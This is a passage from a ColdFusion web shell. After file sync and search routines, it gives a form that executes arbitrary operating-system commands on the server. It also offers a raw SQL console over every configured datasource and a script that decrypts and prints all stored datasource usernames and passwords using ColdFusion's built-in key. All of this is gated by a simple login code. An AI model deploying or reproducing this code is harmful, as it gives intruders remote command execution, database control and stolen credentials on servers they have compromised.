729 action="COPY"
730 source="#attributes.path##attributes.delimiter##name#"
731 destination="#attributes.pathNew##attributes.delimiter##name#"
732 attributes="Normal">
733 <cfoutput><div style="color:orange">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... updated!</div></cfoutput>
734 <cfcatch>
735 <cfoutput><div style="color:red">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... cannot update!</div></cfoutput>
736 </cfcatch>
737 </cftry>
738 <cfelse>
739 <cfoutput><div>#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... uptodate</div></cfoutput>
740 </cfif>
741 <cfelse>
742 <cffile
743 action="COPY"
744 source="#attributes.path##attributes.delimiter##name#"
745 destination="#attributes.pathNew##attributes.delimiter##name#"
746 attributes="Normal">
747 <cfoutput><div style="color:green">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... new!</div></cfoutput>
748 </cfif>
749 <cfflush>
750 </cfif>
751 </cfloop>
752 <cfloop query="getDir">
753 <cfif type eq "dir">
754 <cfmodule
755 fuseaction="syncDir"
756 template="#attributes.thisModule#"
757 h="#attributes.H#"
758 path="#attributes.path##attributes.delimiter##name#"
759 pathNew="#attributes.pathNew##attributes.delimiter##name#"
760 relocate="0">
761 </cfif>
762 </cfloop>
763 <cfif attributes.relocate>
764 <cfoutput>
765 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.pathNew)#'">Synchronization done! Back to <b>#attributes.pathNew#</b></button>
766 </cfoutput>
767 </cfif>
768 </cfcase>
769
770 <cfcase value="search">
771 <cfif attributes.searchtext eq "" and attributes.searchname eq "">
772 <cfoutput>#location("msg=Error: no criteria!",attributes.relocate)#</cfoutput>
773 </cfif>
774 <cfif not isDefined("request.searchResult")>
775 <cfset request.searchResult = queryNew("path,name,type,size,datelastmodified,attributes")>
776 <cfset attributes.searchpath = attributes.path>
777 </cfif>
778 <cfset countsearchresult = request.searchResult.recordCount>
779 <cftry>
780 <cfdirectory action="LIST" directory="#attributes.searchpath#" name="getDir">
781 <!--- Search files --->
782 <cfloop query="getDir">
783 <cfif attributes.maxsearchresult lte countsearchresult>
784 <cfbreak>
785 </cfif>
786 <cfif type eq "file">
787 <cfset isOK = 1>
788 <cfif attributes.searchname neq "">
789 <cfset isOK = REFindNoCase(attributes.searchname,name)>
790 </cfif>
791 <cfif attributes.searchtext neq "" and isOK eq 1>
792 <cffile action="READ" file="#attributes.searchpath##attributes.delimiter##name#" variable="filecontent">
793 <cfset isOK = REFindNoCase(attributes.searchtext,filecontent)>
794 </cfif>
795 <cfif isOK>
796 <cfset tmp = queryAddRow(request.searchResult)>
797 <cfset tmp = querySetCell(request.searchResult,"path",attributes.searchpath)>
798 <cfset tmp = querySetCell(request.searchResult,"name",name)>
799 <cfset tmp = querySetCell(request.searchResult,"type",type)>
800 <cfset tmp = querySetCell(request.searchResult,"size",size)>
801 <cfset tmp = querySetCell(request.searchResult,"datelastmodified",datelastmodified)>
802 <cfset tmp = querySetCell(request.searchResult,"attributes",attributes)>
803 <cfset countsearchresult = countsearchresult + 1>
804 </cfif>
805 </cfif>
806 </cfloop>
807 <!--- Search dir --->
808 <cfloop query="getDir">
809 <cfif attributes.maxsearchresult lte countsearchresult>
810 <cfbreak>
811 </cfif>
812 <cfif type eq "dir" and name neq "." and name neq "..">
813 <cfif attributes.searchname neq "" and REFindNoCase(attributes.searchname,name)>
814 <cfset tmp = queryAddRow(request.searchResult)>
815 <cfset tmp = querySetCell(request.searchResult,"path",attributes.searchpath)>
816 <cfset tmp = querySetCell(request.searchResult,"name",name)>
817 <cfset tmp = querySetCell(request.searchResult,"type",type)>
818 <cfset tmp = querySetCell(request.searchResult,"size",size)>
819 <cfset tmp = querySetCell(request.searchResult,"datelastmodified",datelastmodified)>
820 <cfset tmp = querySetCell(request.searchResult,"attributes",attributes)>
821 <cfset countsearchresult = countsearchresult + 1>
822 </cfif>
823 </cfif>
824 </cfloop>
825 <!--- Search in sub dir --->
826 <cfif attributes.recursive eq 1>
827 <cfloop query="getDir">
828 <cfif attributes.maxsearchresult lte countsearchresult>
829 <cfbreak>
830 </cfif>
831 <cfif type eq "dir" and name neq "." and name neq "..">
832 <cfmodule template="#attributes.thisModule#"
833 fuseaction="search"
834 path="#attributes.path#"
835 h="#attributes.h#"
836 searchpath="#attributes.searchpath##attributes.delimiter##name#"
837 recursive="#attributes.recursive#"
838 searchtext="#attributes.searchtext#"
839 searchname="#attributes.searchname#"
840 maxsearchresult="#attributes.maxsearchresult#"
841 relocate="0">
842 </cfif>
843 </cfloop>
844 </cfif>
845 <cfcatch>
846 <cfoutput>#location("msg=Error!",attributes.relocate)#</cfoutput>
847 </cfcatch>
848 </cftry>
849 <!--- Show result --->
850 <cfif attributes.relocate>
851 <cfset caller.getDir = request.searchResult>
852 <cfmodule template="#attributes.thisModule#"
853 fuseaction="home"
854 path="#attributes.path#"
855 h="#attributes.h#"
856 msg="Search result: #request.searchResult.recordCount# elements!"
857 getDir="#request.searchResult#"
858 showpath="#iif(attributes.recursive,1,0)#"
859 searchtext="#attributes.searchtext#"
860 searchname="#attributes.searchname#"
861 maxsearchresult="#attributes.maxsearchresult#">
862 </cfif>
863 </cfcase>
864
865</cfswitch>
866
867</br></br>
868
869<cfoutput>
870<!--<table>-->
871<cfset tempFile = #GetTempFile(GetTempDirectory(),"testFile")# />
872<cfif IsDefined("FORM.cmd")>
873<cfoutput>#cmd#</cfoutput>
874<cfif server.os.name neq "UNIX">
875<cfexecute name="cmd.exe" arguments="/c #cmd#" outputfile="#tempFile#" timeout="2000"></cfexecute>
876<cfelse>
877<cfexecute name="sh" arguments="-c ""#REReplace(cmd,"""","'","ALL")#""" outputfile="#tempFile#" timeout="2000"></cfexecute>
878</cfif>
879</cfif>
880<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
881<input type=text size=45 name="cmd" >
882<input type=Submit value="run">
883</form>
884<cfif FileExists("#tempFile#") is "Yes">
885<cffile action="Read" file="#tempFile#" variable="readText">
886<textarea readonly cols=80 rows=20>
887<CFOUTPUT>#readText#</CFOUTPUT>
888</textarea>
889<cffile action="Delete" file="#tempFile#">
890</cfif>
891</cfoutput>
892</br></br>
893<p><b>Notes:</b></p>
894<ul>
895<li>Select the database you want to use</li>
896<li>Write SQL statements in the text box</li>
897</ul>
898<form method="POST" action="">
899<p><b>SQL Interface:</b></p>
900Datasource<br>
901<select name="datasource">
902<cfscript>
903dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
904 getDatasourceService().getDatasources();
905 for(i in dataSourceObb) {
906 writeoutput('<option value="' & i & '">' & i & '</option>');
907 }
908</cfscript>
909</select>
910<br>
911SQL<br>
912<textarea name="sql" rows="5" cols="100"></textarea>
913<br>
914<input type=submit value="Exec">
915</form>
916<cfif isdefined("form.sql")>
917<cfquery name="runsql" datasource="#Form.datasource#" timeout="30">
918 #Form.sql#
919</cfquery>
920</cfif>
921<table border=1>
922 <cfif isdefined("form.sql")>
923 <cfloop from="0" to="#runsql.RecordCount#" index="row">
924 <cfif row eq 0>
925 <tr>
926 <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
927 <th><cfoutput>#column#</cfoutput></th>
928 </cfloop>
929 </tr>
930 <cfelse>
931 <tr>
932 <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
933 <td><cfoutput>#runsql[column][row]#</cfoutput></td>
934 </cfloop>
935 </tr>
936 </cfif>
937 </cfloop>
938 </cfif>
939</table>
940</br> </br>
941<cfscript>
942dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
943 getDatasourceService().getDatasources();
944 writeoutput("<br><br><b>Datasource Credentials:</b><br>");
945 writeoutput("<table>");
946for(i in dataSourceObb) {
947 if(len(dataSourceObb[i]["password"])){
948 theurl=(dataSourceObb[i]["url"]);
949 username=(dataSourceObb[i]["username"]);
950 decryptPassword=Decrypt(dataSourceObb[i]["password"],
951 generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede",
952 "Base64");
953 writeoutput("" &
954 "<tr><td>DataSource: " & i & "</td>" &
955 "<td>Username: " & username & "</td>" &
956 "<td>Password: " & decryptPassword &
957 "<td>URL: " & theurl & "</td></tr>");
958 }
959}
960writeoutput("</table><br>");
961</cfscript>
962</body>
963</html>
964 <cfelse>
965 <form method="post">
966 <label for="code">Code:</label><input type="text" name="code" />
967 <br/>
968 <input type="submit" value="Login" />
969 </form>
970</cfif>
971<cfcatch>
972</cfcatch>
973</cftry>